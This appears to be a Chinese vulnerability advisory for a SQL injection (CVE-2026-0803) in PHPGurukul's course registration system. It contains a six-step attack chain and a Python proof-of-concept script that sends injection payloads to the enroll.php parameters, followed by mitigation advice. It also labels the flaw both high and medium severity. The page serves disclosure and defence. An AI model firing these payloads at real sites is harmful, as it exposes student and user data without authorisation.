IPBUF安全漏洞报告
English
CVE-2026-0803 CVSS 6.3 中危

CVE-2026-0803 PHPGurukul在线课程注册系统SQL注入漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2026-0803
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Online Course Registration System

相关标签

SQL注入PHPGurukul在线课程注册系统CVE-2026-0803Web应用安全数据库安全网络攻击PHP

漏洞概述

CVE-2026-0803是PHPGurukul在线课程注册系统中的一个高危SQL注入漏洞。该漏洞存在于系统的/enroll.php文件中的多个参数中,包括studentregno、Pincode、session、department、level、course和sem参数。攻击者可以通过构造恶意的SQL语句片段对这些参数进行注入攻击,成功利用此漏洞可能导致数据库敏感信息泄露、数据库数据被篡改,甚至在某些情况下可能实现远程代码执行。

该漏洞的CVSS评分为6.3,属于中危级别。攻击向量为网络远程攻击,认证要求较低(低权限用户即可发起攻击),无需用户交互。漏洞影响系统的机密性、完整性和可用性,均为低级别影响。

根据漏洞披露信息,该漏洞影响PHPGurukul在线课程注册系统3.1及以下版本。漏洞利用代码已公开,攻击者可以轻松获取并使用。系统管理员应尽快采取修复措施,避免漏洞被恶意利用导致数据泄露或系统被入侵。

技术细节

该SQL注入漏洞存在于PHPGurukul在线课程注册系统的/enroll.php文件中。系统在接受用户输入时,未对以下参数进行充分的输入验证和过滤:studentregno(学生注册号)、Pincode(验证码)、session(会话)、department(院系)、level(年级)、course(课程)和sem(学期)。

攻击者可以通过HTTP请求在上述参数中注入SQL语句片段。由于应用程序直接将用户输入拼接到SQL查询语句中,而没有使用参数化查询或预编译语句,注入的恶意SQL代码将被数据库服务器执行。

攻击者可以利用UNION SELECT、布尔盲注、时间盲注等技术从数据库中提取敏感信息,如用户凭证、个人数据、课程信息等。在某些配置不当的数据库环境中,攻击者还可能通过 INTO OUTFILE 或 INTO DUMPFILE 等语句写入恶意文件,进而实现服务器端代码执行。

由于该漏洞允许低权限用户发起攻击,且无需任何用户交互,攻击门槛相对较低。攻击者只需构造特定的HTTP请求即可成功利用此漏洞。

攻击链分析

STEP 1
1
信息收集:攻击者首先识别目标网站使用的PHPGurukul在线课程注册系统版本(3.1及以下版本均受影响)
STEP 2
2
漏洞定位:访问/enroll.php注册页面,识别可利用的参数(studentregno、Pincode、session、department、level、course、sem)
STEP 3
3
SQL注入测试:使用单引号、UNION SELECT、布尔盲注等技术在各参数中注入SQL语句片段,验证漏洞存在性
STEP 4
4
数据提取:利用UNION注入或盲注技术从数据库中提取敏感信息,如用户表结构、用户名、密码哈希等
STEP 5
5
权限提升:在获取管理员凭证后,攻击者可能进一步控制整个系统或利用数据库写入功能实现RCE
STEP 6
6
持久化控制:攻击者可能在系统中植入后门,或将恶意代码写入数据库实现长期控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-0803 SQL Injection PoC # Target: PHPGurukul Online Course Registration System # Vulnerable File: /enroll.php # Vulnerable Parameters: studentregno, Pincode, session, department, level, course, sem TARGET_URL = "http://target-site.com/enroll.php" def test_sql_injection(): """Test for SQL injection vulnerability in enroll.php""" # Basic SQL injection test payloads payloads = [ "' OR '1'='1", "' OR '1'='1' --", "' UNION SELECT NULL--", "admin'--", "' OR 1=1--" ] # Vulnerable parameters to test vulnerable_params = [ 'studentregno', 'Pincode', 'session', 'department', 'level', 'course', 'sem' ] print(f"[*] Testing SQL Injection on {TARGET_URL}") print(f"[*] Target: PHPGurukul Online Course Registration System") print(f"[*] CVE: CVE-2026-0803") for param in vulnerable_params: for payload in payloads: data = { 'studentregno': "test", 'Pincode': "1234", 'session': "2024", 'department': "CS", 'level': "1", 'course': "1", 'sem': "1" } data[param] = payload try: response = requests.post(TARGET_URL, data=data, timeout=10) # Check for SQL error indicators if any(indicator in response.text.lower() for indicator in ['sql syntax', 'mysql', 'warning', 'error', 'sqlite', 'postgresql']): print(f"[+] Potential SQL Injection found in parameter: {param}") print(f"[+] Payload: {payload}") print(f"[+] Response length: {len(response.text)}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") continue print("[*] Basic tests completed. Manual verification recommended.") return False def extract_data(): """Extract database information using UNION-based SQL injection""" # UNION-based injection to extract database version union_payload = "' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL--" data = { 'studentregno': union_payload, 'Pincode': "1234", 'session': "2024", 'department': "CS", 'level': "1", 'course': "1", 'sem': "1" } print("[*] Attempting to extract database version...") try: response = requests.post(TARGET_URL, data=data, timeout=10) print(f"[*] Response status: {response.status_code}") return response.text except: return None if __name__ == "__main__": print("=" * 60) print("CVE-2026-0803 SQL Injection PoC") print("=" * 60) test_sql_injection()

影响范围

PHPGurukul Online Course Registration System <= 3.1

防御指南

临时缓解措施
在官方修复补丁发布之前,建议采取以下临时缓解措施:1)使用Web应用防火墙对/enroll.php页面进行SQL注入特征检测和拦截;2)禁用或限制该页面的访问权限;3)在应用层添加输入过滤逻辑,对单引号、分号、UNION等SQL关键词进行过滤或转义;4)加强对数据库账户的权限控制,限制web应用数据库账户的写操作权限;5)启用数据库审计日志,监控异常SQL查询行为。建议尽快联系PHPGurukul官方获取安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表